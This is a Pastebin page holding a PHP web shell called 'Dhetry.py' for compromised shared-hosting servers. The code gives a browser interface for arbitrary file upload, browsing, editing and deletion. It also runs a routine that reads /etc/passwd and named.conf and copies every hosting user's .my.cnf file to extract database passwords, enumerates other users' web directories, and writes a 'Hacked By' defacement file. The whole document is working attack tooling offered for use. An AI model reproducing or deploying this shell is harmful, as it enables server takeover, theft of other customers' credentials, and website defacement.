API tools faq
paste
Advertisement
ustadcage_48

dhetry.py

ustadcage_48
Oct 10th, 2017
266
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.11 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. // creator ustadcage_48
  3. error_reporting(0);
  4. ?>
  5.  
  6. <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN"
  7. "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"><html xmlns="http://www.w3.org/1999/xhtml">
  8. <link href='http://fonts.googleapis.com/css?family=Offside' rel='stylesheet' type='text/css'/>
  9. <title>#Shell Priv48 Dhetry.py</title>
  10. <style>
  11. a {
  12. text-decoration: none;
  13. color: gold;
  14. }
  15. body {
  16. background: #282828;
  17. font-family: Offside;
  18. font-size: 15px;
  19. color: #ffffff;
  20. margin: 0px auto;
  21. max-width:600px;
  22. }
  23. input[type=text] { border-radius:0; border:0; color: #ffffff; background-color: #606060; height:21px; width:72%; font-family: Offside; }
  24. input[type=file] { border-radius:0; border:0; color: #ffffff; background-color: #606060; height:auto; padding:5px; width:72%; font-family: Offside; }
  25. input[type=submit] { font-family: Offside; border-radius: 0; border: 0; color: #ffffff; background-color: #cc0000; height:36px; width:20%; }
  26. input[type=text], input[type=file], input[type=submit] {
  27. padding: 4px;
  28. margin-bottom: 5px;
  29. margin-top: 5px;
  30. font-family: Offside;
  31. -moz-border-radius: 9px;-webkit-border-radius:9px;border-radius:9px;border:1px solid #fff;
  32. }
  33. .info{color:#000000;padding:7px;display:block;text-align:center;margin:4px;background:#FAFAD2;border:1px solid #DAA520}
  34. .menu {
  35. background-color: #303030; border-bottom: 1px solid #282828; margin:5px; padding:6px; text-align:center; color: #f6f6f6;
  36. -moz-border-radius: 9px;-webkit-border-radius:9px;border-radius:9px;border:1px solid #fff;
  37. }
  38. .list{ background-color: #303030; border-bottom: 1px solid #282828; margin-bottom:2px; padding:6px; text-align:justify; color: #f6f6f6; }
  39. .foot {background:#8B0000;padding:7px;color:#ffffff;text-align:center;}
  40. .crum {background:#cc0000;padding:7px;color:#ffffff;text-align:left;}
  41. textarea { border-radius:0; border:0; color: #ffffff; background-color: #606060; height:300px; padding:5px; width:72%; font-family: Offside; }
  42. </style>
  43. <?php
  44. if($_GET['path']){
  45.     $path = $_GET['path'];
  46. } else {
  47.     $path = getcwd();
  48. }
  49. echo "<center><div class='crum'><center>xXx DHETRY.PY xXx</center></div><div class='info'>";
  50. echo php_uname()."</div>";
  51. echo "<div class='crum'><center>[ <a href='?jumping&path=$path'>JUMPING</a> ] [ <a href='?cpanel&path=$path'>CPANEL</a> ] [ <a href='?auto_upl&path=$path'>AUTO</a> ]</center></div>";
  52. echo "<div class='menu'>";
  53. if(is_dir($path)){
  54. $write = "<font color='green'>Writable</font>";
  55. ?>
  56. <form action="" method="post" enctype="multipart/form-data">
  57. <input type="file" name="file" /><br>
  58. <input type="text" name="ufile" placeholder="jkt48.php" /><br>
  59. Permisions : [ <?=$write;?> ]<br>
  60. <input name="upload" type="submit" value="Upload" /> <input type="submit" value="Reset" /> </form>
  61.  
  62. <?php
  63. if(isset($_REQUEST['ufile'])){
  64. $ufile = $_POST['ufile'];
  65. }
  66. if(isset($_REQUEST['upload'])){
  67. if($_POST['upload']){
  68. if(@copy($_FILES['file']['tmp_name'],$path.'/'.$ufile)){
  69.     $size  = filesize($ufile);
  70.     echo '<script>alert("#Dhetry.py\n\t [+] Name : '.$ufile.'\n\t [+] Size : '.$size.' Bytes\n\t [+] Status : Suksess !!\n\t [+] Path : '.$path.'/'.$ufile.'")</script>';
  71.     echo "<font color='green'>#Sucess</font> : <a href='#'>$ufile</a>";
  72. } else {
  73. $size  = filesize($ufile);
  74.     echo '<script>alert("#Dhetry.py\n\t [+] Name : '.$ufile.'\n\t [+] Size : '.$size.' Bytes\n\t [+] Status : Gagall !!!\n\t [+] Path : '.$path.'/'.$ufile.' ")</script>';
  75.     echo "<font color='red'>#Gagal</font> : <a href='#'>$ufile</a>";
  76. }}}} else {
  77.     echo "#Uploader : [ <font color='red'>Not Writable</font> ]";
  78. }
  79. echo "</menu></center>";
  80. /* Cpanel automatic */
  81. if(isset($_GET['cpanel'])){
  82. @ini_set('display_errors',0);
  83. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  84. $ar0=explode($marqueurDebutLien, $text);
  85. $ar1=explode($marqueurFinLien, $ar0[$i]);
  86.   return trim($ar1[0]);
  87. }
  88. $d0mains = @file('/etc/named.conf');
  89. $domains = scandir("/var/named");
  90. if ($domains or $d0mains)
  91. {
  92. $domains = scandir("/var/named");
  93. if($domains) {
  94. $count=1;
  95. $dc = 0;
  96. $list = scandir("/var/named");
  97. foreach($list as $domain){
  98. if(strpos($domain,".db")){
  99. $domain = str_replace('.db','',$domain);
  100. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  101. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  102. $path = getcwd();
  103. if (is_readable($dirz)) {
  104. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  105. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  106. $password=entre2v2($p,'password="','"');
  107. $dc++;
  108. }}}
  109. $total = $dc;
  110. echo "<script>alert('Cpanel : ".$total." Cracked !');</script>";
  111. }else{
  112. $d0mains = @file('/etc/named.conf');
  113. if($d0mains) {
  114. $count=1;
  115. $dc = 0;
  116. $mck = array();
  117. foreach($d0mains as $d0main){
  118. if(@eregi('zone',$d0main)){
  119. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  120. flush();
  121. if(strlen(trim($domain[1][0])) >2){
  122. $mck[] = $domain[1][0];
  123. }}}
  124. $mck = array_unique($mck);
  125. $usr = array();
  126. $dmn = array();
  127. foreach($mck as $o) {
  128. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  129. $usr[] = $infos['name'];
  130. $dmn[] = $o;
  131. }
  132. array_multisort($usr,$dmn);
  133. $dt = file('/etc/passwd');
  134. $passwd = array();
  135. foreach($dt as $d) {
  136. $r = explode(':',$d);
  137. if(strpos($r[5],'home')) {
  138. $passwd[$r[0]] = $r[5];
  139. }}
  140. $l=0;
  141. $j=1;
  142. foreach($usr as $r) {
  143. $dirz = '/home/'.$r.'/.my.cnf';
  144. $path = getcwd();
  145. if (is_readable($dirz)) {
  146. copy($dirz, ''.$path.'/'.$r.'.txt');
  147. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  148. $password=entre2v2($p,'password="','"');
  149. $dc++;
  150. flush();
  151. $l=$l?0:1;
  152. $j++;
  153. }}}
  154. $total = $dc;
  155. echo "<script>alert('Cpanel : ".$total." Cracked !');</script>";
  156. }
  157. }else{
  158. echo '<script>alert("#Dhetry.py\n\t [+] Crack : 0 !!\n\t [+] Status Error !");</script>';
  159. }
  160. }
  161. if(isset($_GET['jumping'])){
  162. set_time_limit(0);
  163. @$passwd = fopen('/etc/passwd','r');
  164. if (!$passwd) { die(''); }
  165. $pub = array();
  166. $users = array();
  167. $conf = array();
  168. $i = 0;
  169. while(!feof($passwd)){
  170. $str = fgets($passwd);
  171. if ($i > 35)
  172. {
  173. $pos = strpos($str,':');
  174. $username = substr($str,0,$pos);
  175. $dirz = '/home/'.$username.'/public_html/';
  176. if (($username != ''))
  177. {
  178. if (is_readable($dirz))
  179. {           array_push($users,$username);
  180. array_push($pub,$dirz);
  181. }}}
  182. $i++;
  183. }
  184. echo "<script>alert('Jumping = ".sizeof($users)." User !');</script>";
  185. }
  186. if(isset($_GET['auto_upl'])){
  187. $fp = fopen($path.'/'.'x.txt','w'); if(fwrite($fp,'Hacked By UstadCage_48 ~')){
  188. echo '<script>alert("[+] Sukses!");</script>';
  189. }else{
  190. echo '<script>alert("[+] Gagal!");</script>';
  191. }
  192. fclose($fp);
  193. }
  194. $dir = str_replace('\\','/',$path);
  195. $paths = explode('/',$dir);
  196. echo "<div class='crum'>";
  197. foreach($paths as $id=>$pat){
  198. if($pat == '' && $id == 0){
  199. $a = true;
  200. echo '<a style="color:#fff" href="?path=/">/</a> ';
  201. continue;
  202. }
  203. if($pat == '') continue;
  204. echo '<a style="color:orange" href="?path=';
  205. for($i=0;$i<=$id;$i++){
  206. echo "$paths[$i]";
  207. if($i != $id) echo "/";
  208. }
  209. echo '">'.$pat.'</a> > ';
  210. }
  211. echo "</div>";
  212. //
  213.  
  214. if(isset($_GET['view'])){
  215. $fp = fopen($_POST['get'],'w');
  216. if($_POST['proses']){ if(fwrite($fp,$_POST['isi'])){
  217. echo '<script>alert("Sukses!");</script>';
  218. }else{
  219. echo '<script>alert("Gagal!");</script>';
  220. }
  221. fclose($fp);
  222. }
  223. echo "<br><center>
  224. [ <a href='?delete&get=".$_GET['get']."&path=$path'>Delete</a> ] [ <a href=''>Rename</a> ]<br><br>
  225. <form action='' method='POST'><textarea name='isi'>".htmlspecialchars(file_get_contents($_GET['get']))."</textarea>
  226. <input type='text' name='get' value='".$_GET['get']."'><br><input type='submit' value='Edit' name='proses'></form></center><br>";
  227.    
  228. } else {
  229. $files = scandir ($path);
  230. $direct = 0;
  231. foreach ($files as $out) {
  232. if(!is_dir("$path/$out") || $out == '.' || $out == '..') continue;
  233. echo "<div class=\"list\">&hearts; <a href=\"?path=$path/$out\">" . $out ."</a></div>";
  234. }
  235. ///// SCAN FILE
  236. if(is_dir($path)){
  237. foreach ($files as $out) {
  238. if(!is_file("$path/$out") || $out == '.' || $out == '..') continue;
  239. echo "<div class=\"list\"> &hearts; <a href=\"?view&path=$path&get=$path/$out&filename=".$out."\"><acronym title=\"loll\">".$out."</acronym></a></div>";
  240. }
  241. } else {
  242. echo "<div class='menu'><center>#Directory : [ <font color='red'>Not Writable</font> ]</center></div>"; }
  243. }
  244. ?>
  245. <div class='crum'><center>&copy; 2016 Dhetry.py</center></div>
  246. <div class='foot'><center>AllRight Reserved</center></div>
  247. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!